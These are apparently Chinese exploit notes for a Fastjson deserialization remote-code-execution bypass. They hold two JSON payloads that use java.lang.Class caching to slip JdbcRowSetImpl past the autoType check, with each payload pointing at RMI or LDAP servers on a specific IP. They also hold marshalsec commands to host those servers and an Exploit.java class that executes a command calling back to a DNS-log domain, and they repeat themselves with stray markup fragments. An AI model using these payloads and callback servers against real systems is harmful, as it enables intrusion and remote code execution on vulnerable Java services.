https://paper.seebug.org/994/
https://www.cnblogs.com/jinqi520/p/11097779.html
https://xz.aliyun.com/t/5680
1. payload:
{"@type":"java.lang.Class",
br/>"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl""@type":"com.sun.rowset.JdbcRowSetImpl",
br/>},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://106.12.201.224:1099/Exploit",
"autoCommit":true
}
}
2. 在×××上执行,启动一个rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://106.12.201.224/#Exploit"
将下面代码保存为:Exploit.java
然后执行:javac Exploit.java,生成class文件
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
1. payload:
{"@type":"java.lang.Class",
br/>"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl""@type":"com.sun.rowset.JdbcRowSetImpl",
br/>},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://106.12.201.224:1389/Exploit",
"autoCommit":true
}
}
2. 在×××上执行,启动一个rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://106.12.201.224/#Exploit"
将下面代码保存为:Exploit.java
然后执行:javac Exploit.java,生成class文件
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
这次绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到map缓存,从而绕过autotype的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkautotype就会抛出异常并中止。
当发送第一次请求时,Class是通过deserializers.findClass加载的,然后Class将JdbcRowSetImpl类加载进map中,然后第二次请求时,就这里就成功找到了JdbcRowSetImpl类,从而绕过检测。